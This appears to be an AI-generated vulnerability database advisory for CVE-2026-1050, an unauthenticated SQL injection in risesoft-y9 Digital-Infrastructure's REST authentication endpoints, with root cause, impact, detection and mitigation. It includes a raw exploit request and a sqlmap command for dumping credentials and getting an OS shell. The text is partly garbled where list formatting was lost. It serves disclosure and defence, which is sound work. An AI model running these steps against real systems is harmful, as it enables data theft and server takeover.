
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-1050 is a SQL injection vulnerability in risesoft-y9 Digital-Infrastructure, a unified digital management platform used by large government and enterprise organizations. The flaw resides in the REST Authenticate Endpoint (Y9PlatformUtil.java) and allows unauthenticated remote attackers to inject arbitrary SQL commands. Affected versions span the entire 9.6.x release line up to and including 9.6.7 (Maven package net.risesoft:risenet-y9boot-support-platform-service ≤ 9.7.0-M5). The vulnerability was reported via a GitHub issue on January 3, 2026, and published to NVD on January 17, 2026. It carries a CVSS v3.1 base score of 7.3 (High) and a CVSS v4.0 score of 5.5 (Medium) (Github Advisory, NVD).
The root cause is improper neutralization of special elements in an SQL command (CWE-89 / CWE-74). In Y9PlatformUtil.java (line 81), the getTenantByLoginName() method constructs a raw SQL query via string concatenation — String sql = "select id from Y9_COMMON_TENANT t where t.SHORT_NAME='" + loginName + "'" — without using parameterized queries or prepared statements. The tenantShortName parameter accepted by the authenticate3 REST endpoint (/server-platform/services/rest/auth/authenticate3) is passed directly to this method without sanitization. The same flaw affects at least two additional endpoints: /server-platform/services/rest/auth/authenticate5 and /server-platform/services/rest/v1/auth/authenticate3. No authentication is required to reach these endpoints, making exploitation trivially accessible from the network (GitHub Issue, Github Advisory).
Successful exploitation allows an unauthenticated remote attacker to read, modify, or delete data in the underlying database, which may include tenant credentials, user account details, organizational structures, and access control configurations. Because Digital-Infrastructure serves as a centralized identity and access management platform for large government and enterprise deployments, database compromise could enable lateral movement into connected applications and services. Depending on database permissions, attackers may also be able to execute operating system commands via database features (e.g., xp_cmdshell on MSSQL or INTO OUTFILE on MySQL), potentially achieving full server compromise (GitHub Issue, Github Advisory).
/server-platform/services/rest/auth/authenticate3 endpoint.') in the tenantShortName parameter and observe whether a database error or anomalous response is returned, indicating unsanitized input handling.request.txt):POST http://<target>/server-platform/services/rest/auth/authenticate3 HTTP/1.1
Host: <target>
Content-type: application/x-www-form-urlencoded
tenantShortName=test*&loginName=test_login&password=test_passwordsqlmap -r request.txt --level 5 --risk 3 --threads 8 --current-user --batch--dump or --tables options to extract tenant credentials, user accounts, and access control data from the Y9_COMMON_TENANT and related tables.--os-shell in sqlmap) or write web shells to the server filesystem for persistent access (GitHub Issue)./server-platform/services/rest/auth/authenticate3, /server-platform/services/rest/auth/authenticate5, or /server-platform/services/rest/v1/auth/authenticate3 containing SQL metacharacters (', --, OR 1=1, UNION SELECT, etc.) in the tenantShortName parameter; high-volume or automated requests to these endpoints from a single IP.tenantShortName values; database error messages (e.g., SQL syntax errors) logged by the application.Y9_COMMON_TENANT or other sensitive tables originating from the application service account; unusual SELECT, INSERT, or UPDATE statements with injected payloads visible in slow query or general query logs.bash, cmd.exe, curl, wget) if OS-level command execution was achieved via database features (GitHub Issue).The GitHub Advisory (GHSA-vhcx-7rpg-hp39) indicates a patch is available; organizations should update the Maven package net.risesoft:risenet-y9boot-support-platform-service to a version beyond 9.7.0-M5 once a fixed release is confirmed. As an immediate workaround, restrict network access to the affected REST authentication endpoints (/authenticate3, /authenticate5) to trusted IP ranges using firewall rules or API gateway policies. Deploy a Web Application Firewall (WAF) with SQL injection detection rules targeting the tenantShortName parameter. At the application layer, replace string-concatenated SQL queries in Y9PlatformUtil.java with parameterized queries or prepared statements (Github Advisory, GitHub Issue).
The vulnerability was initially reported by researcher "NinjaGPT" via a GitHub issue on January 3, 2026, with a detailed technical write-up and working sqlmap-based PoC. As of the disclosure date, the risesoft-y9 project maintainers had not responded to the issue report. Brief mentions appeared on Bluesky (via the CVE tracking account) and Mastodon (infosec.exchange), and automated CVE alert services such as RedPacket Security and INCIBE published notifications. No significant vendor statement or major media coverage has been identified (GitHub Issue, Github Advisory).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."